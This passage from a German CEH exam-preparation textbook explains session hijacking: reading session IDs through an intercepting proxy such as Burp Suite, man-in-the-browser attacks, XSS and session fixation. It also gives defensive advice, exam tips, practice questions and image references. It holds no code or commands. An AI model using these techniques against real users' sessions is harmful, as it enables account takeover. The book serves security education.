Was bleibt, ist, die Session-ID mitzulesen. Hierzu kann er einen Intercepting Proxy nutzen. Dabei handelt es sich um eine Proxy-Software, die eine kontrollierte und überwachte Weiterleitung der HTTP-Requests des Clients an den Zielserver erlaubt. Ein Standard-Tool hierzu ist die Burp Suite.
Der Client – sprich: der Browser – muss hierzu die Burp Suite als Proxy nutzen. Während das in Laborumgebungen manuell konfiguriert wird, sorgen in der Praxis Trojaner und andere Malware dafür, dass die Proxy-Konfiguration entsprechend angepasst wird.
Wurde die Session-ID des Opfers erkannt, so kann der Angreifer eine Verbindung zum Zielsystem aufbauen und die Session-ID als Authentisierung und Autorisierung nutzen, da die Identität des Benutzers oft nur einmal während der Anmeldung geprüft wird. Folglich kann er die Session übernehmen.
Der Man-in-the-Browser-Angriff ist besonders perfide, da er an einer Stelle ansetzt, wo noch keine Verschlüsselung greift. Als Extension kann der MITB Requests in Klartext abfangen, auslesen und ggf. manipulieren, bevor er sie an den Browser zur Weiterverarbeitung weiterleitet.
Andere Angriffe basieren darauf, dass der Webserver bzw. die Webanwendung Schwachstellen aufweist, die ausgenutzt werden können. Eine der prominentesten Schwachstellen ist das Cross-Site-Scripting (XSS). Mit dieser variablen Technik ist es möglich, das Opfer dazu zu bewegen, bestimmte Informationen preiszugeben, z.B. die Session-ID.
Es gibt weitere Angriffsvektoren, wie den Replay-Angriff oder den Session-Fixation-Angriff. In der Regel lässt sich ein guter Schutz gegen Session Hijacking nur dann implementieren, wenn die Kommunikation kryptografisch gesichert wird. Dies ist daher auch die Grundregel: Sichern Sie Ihre Kommunikation stets kryptografisch ab. Die meisten Klartext-Protokolle haben sichere Varianten.
Weitere Schutzmechanismen reichen von den üblichen Verdächtigen bis hin zu speziellen Maßnahmen zum Schutz einer Webanwendung, die ggf. nur von einigen ausgewählten Komponenten unterstützt werden.
18.5.2 CEH-Prüfungstipps
Die Informationen in diesem Kapitel hängen wesentlich mit dem Thema »Web-Hacking« zusammen. Daher werden Sie auch viele Schnittpunkte und Überschneidungen finden. An dieser Stelle sollten Sie daher insbesondere die Ansätze des Session Hijackings, die Unterscheidung in Network Level und Application Level sowie die einzelnen Varianten zur Kenntnis nehmen.
Außerdem ist es wichtig zu verstehen, welche Schutzmaßnahmen gegen Session Hijacking wirksam sind. Machen Sie sich klar, welche Komponente warum und in welcher Konfiguration gegen Angriffe schützen kann. Denken Sie dabei zusätzlich daran, dass auch die bisher vorgestellten Sicherheitsmechanismen, wie Firewall, AV, IDS, IPS, WAF, User-Schulungen und Ähnliches, einen guten Grundschutz gegen Session-Hijacking-Angriff bieten können.
18.5.3 Fragen zur CEH-Prüfungsvorbereitung
Mit den nachfolgenden Fragen können Sie Ihr Wissen überprüfen. Die Fragestellungen sind teilweise ähnlich zum CEH-Examen und können daher gut zur ergänzenden Vorbereitung auf das Examen genutzt werden. Die Lösungen zu den Fragen finden Sie in Anhang A.
Worin liegt der Unterschied zwischen einem Man-in-the-Middle-Angriff (MITM) und einem Session Hijacking?
Der MITM-Angriff erfordert Kenntnis über die Session-ID, während diese beim Session Hijacking nicht benötigt wird.
MITM-Angriffe basieren darauf, dass der Angreifer sich gegenüber beiden Kommunikationspartnern als der jeweils andere ausgibt, während Session Hijacking nur eine Identität übernimmt.
MITM-Angriffe sind aktiv, während Session-Hijacking-Angriffe passiv sind.
Sowohl beim MITM-Angriff als auch beim Session Hijacking muss der Angreifer den Kommunikationspfad zu sich umleiten. Es gibt also keinen Unterschied.
Was verstehen wir unter einem ACK Storm?
Permanente Versuche der Resynchronisation einer TCP-Session
Sich aufschaukelnde TCP-ACK-Pakete aufgrund einer Schleife im Netzwerk
Ein Angriff analog zum SYN-Flooding, nur mit TCP-ACK-Segmenten
Provokation einer Vielzahl von TCP-ACK-Segmenten durch gezieltes Senden von TCP-RST-Segmenten
Matthias ist es gelungen, eine Telnet-Session zu entführen. Welche Art von Session Hijacking steckt dahinter?
Man-in-the-Browser
Proxy-Hijacking
Network Level Session Hijacking
RST/Reopen
Application Level Session Hijacking
DNS-Spoofing
Welches der im Folgenden genannten Tools wird primär im Rahmen eines Session-Hijacking-Angriffs eingesetzt?
Wireshark
Burp Suite
WebGoat
Ettercap
Mit welchem Angriffstyp ist es möglich, die Kommunikation in einem Browser unbemerkt zu manipulieren?
MITM
Intercepting Proxy
Mirror-Port
Cookie-Editor
Man-in-the-Browser
![[Bild]](../Images/Kap18_3-way-handshake.jpg)
![[Bild]](../Images/Kap18_3-seq-ack.jpg)
![[Bild]](../Images/Kap18_tcp-window.jpg)
![[Bild]](../Images/Kap18_SH_Basic.jpg)
![[Bild]](../Images/Kap18_SH_Prozess.jpg)
![[Bild]](../Images/Kap18_session-id.jpg)
![[Bild]](../Images/Kap18_webgoat-download.jpg)
![[Bild]](../Images/Kap18_webgoat-start.jpg)
![[Bild]](../Images/Kap18_localhost.jpg)
![[Bild]](../Images/Kap18_webgoat-homepage.jpg)
![[Bild]](../Images/Kap18_bs-start2.jpg)
![[Bild]](../Images/Kap18_proxy.jpg)
![[Bild]](../Images/Kap18_port8000.jpg)
![[Bild]](../Images/Kap18_intercept2.jpg)
![[Bild]](../Images/Kap18_proxy-config.jpg)
![[Bild]](../Images/Kap18_localhost-proxy.jpg)
![[Bild]](../Images/Kap18_intercept.jpg)
![[Bild]](../Images/Kap18_scheunentor-request.jpg)
![[Bild]](../Images/Kap18_webgoat-anzeige.jpg)
![[Bild]](../Images/Kap18_set-cookie.jpg)
![[Bild]](../Images/Kap18_send-to-sequencer.jpg)
![[Bild]](../Images/Kap18_sequencer-start.jpg)
![[Bild]](../Images/Kap18_sequencer_analysis.jpg)
![[Bild]](../Images/Kap18_scope.jpg)
![[Bild]](../Images/Kap18_proxy-config-all.jpg)
![[Bild]](../Images/Kap18_cookie-editor.jpg)
![[Bild]](../Images/Kap18_webgoat-netstat.jpg)
![[Bild]](../Images/Kap18_proxy-config-w10.jpg)
![[Bild]](../Images/Kap18_webgoat-start2.jpg)
![[Bild]](../Images/Kap18_cookie.jpg)
![[Bild]](../Images/Kap18_cookie-location.jpg)
![[Bild]](../Images/Kap18_no_cookies.jpg)
![[Bild]](../Images/Kap_18_Session-Cookie-erzeugen.jpg)
![[Bild]](../Images/Kap18_cookie_erzeugen.jpg)
![[Bild]](../Images/Kap18_session-hijacking-success.jpg)
![[Bild]](../Images/Kap18_handler.jpg)
![[Bild]](../Images/Kap18_handler-button.jpg)
![[Bild]](../Images/Kap18_xss.jpg)
![[Bild]](../Images/Kap18_session-replay.jpg)
![[Bild]](../Images/Kap18_session-fixation.jpg)